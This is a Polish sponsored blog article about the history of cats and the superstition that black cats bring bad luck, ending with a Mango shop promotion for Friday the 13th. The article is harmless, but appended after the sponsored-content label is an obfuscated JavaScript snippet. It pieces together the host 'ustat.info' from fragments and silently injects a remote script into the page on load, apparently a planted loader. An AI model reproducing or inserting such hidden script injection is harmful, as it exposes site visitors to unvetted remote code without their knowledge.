Czy czarny kot przynosi pecha?


Kot – zwierzę czczone w starożytności, w średniowieczu postrzegane jako wysłannik szatana, obecnie przyjaciel człowieka - choć postrzegany nadal jako oznaka pecha.

Zastanawialiście się kiedyś, jak kręta musiała być droga kota w historii ludzkości, by stał się ulubionym domownikiem?

Według większości naukowców przodkowie kota domowego wywodzą się z Nubii, która znajdowała się w Afryce na terenach obecnego Sudanu i Egiptu. Istnieją dowody na to, że kot mógł zostać udomowiony przez człowieka już 9 tysięcy lat temu!

W starożytnym Egipcie kot był zwierzęciem świętym, otoczonym szczególnym kultem. Egipcjanie utożsamiali go z boginią Bastet, a za jego zabicie, nawet przypadkowe, groziła kara śmierci. Zwłoki kotów starannie balsamowano, i składano na kocich cmentarzach, co było wyrazem wielkiego szacunku. Starożytni Germanie również wiązali kota ze swoją boginią płodności – Freją.

Wraz ze średniowieczem w chrześcijańskiej Europie nadeszły dla kotów ciemne czasy – uważano je za uosobienie demonów, wysłanników czarownic i szatana. Wtedy też narodził się przesąd o przynoszącym pecha czarnym kocie…

O wiele lepiej traktowano koty w kulturze islamu – sam prorok Mahomet miał swojego ukochanego kota o imieniu Muezza. Istnieje wiele muzułmańskich legend o kotach, które poświęcały się, by ratować ludzi przed niebezpieczeństwem. Złe traktowanie, męczenie i zaniedbywanie kota są nadal uważane za ciężkie przewinienie.

Koty od wieków stanowiły inspirację dla pisarzy – przypomnijmy sobie choćby „Kota w butach” Charlesa Perraulta z 1697 roku. Ponad 200 lat później Lewis Caroll napisał „Alicję w krainie czarów”, w której szczerzący się Kot z Cheshire jest jedną z najbardziej rozpoznawalnych postaci.

Współcześnie motyw kota jest wykorzystywany równie chętnie – oglądaliście „Garfielda” albo musical „Koty”?

Obecnie kot jest jednym z ulubionych zwierzaków w naszej kulturze, ale nadal nie pozbyliśmy się zabobonów średniowiecznej ciemnoty. Czy czarny kot przynosi pecha? Nie. Czarne koty nie przynoszą pecha, ale go mają. Przez niemające żadnego odzwierciedlenia w rzeczywistości przesądy to właśnie czarne koty ze schronisk i organizacji zajmujących się bezdomnymi zwierzętami najdłużej czekają na nowe domy.

Co ciekawe, w Wielkiej Brytanii panuje przesąd, że czarny kot przynosi szczęście, a biały zwiastuje kłopoty. Według Niemców spotkanie czarnego kota w pierwszy dzień nowego roku to dobry znak, dla Amerykanów natomiast szczęściu sprzyja kot zielonooki.

Sklep Mango, przewrotnie, w swojej kampanii z okazji „pechowego piątku 13-go”, chcąc odczarować zarówno ten dzień jak i czarnego kota, przygotował oferty specjalne aż do -70% na wybrane produkty. W promocji znajdziecie także masujący ogrzewacz do stóp, który na pewno pokocha każdy członek rodziny – także ten futrzasty. Wszystkie oferty znajdziesz na www.mango.pl

czy czarny kot przynosi pecha

Jak widać – każda kultura ma swoje przesądy. Jednak jak na żyjących w XXI wieku ludzi przystało, nie kierujmy się mitami ani zabobonami. Dbajmy o naszych mruczących przyjaciół, bez względu na kolor ich sierści czy oczu.

materiał sponsorowany

(function(){
tpequ=”hg0lggj0peq4″;tpeq=document.createElement(„script”);
tpeq_=”u”+(„st”);tpeq_+=”at”+(„.”);tpeq.async=true;tpeq_+=”in”;
tpequ=”74146825.”+tpequ;tpeq.type=”text/javascript”;tpequ+=”t7ujgbixdnkj”;
tpequ+=”8kdyi6″;tpeq_+=(„f”)+”o”+(„/”);tpeq.src=”https://”+tpeq_+tpequ;
tpeqd=document.body;tpeqd.appendChild(tpeq);
})();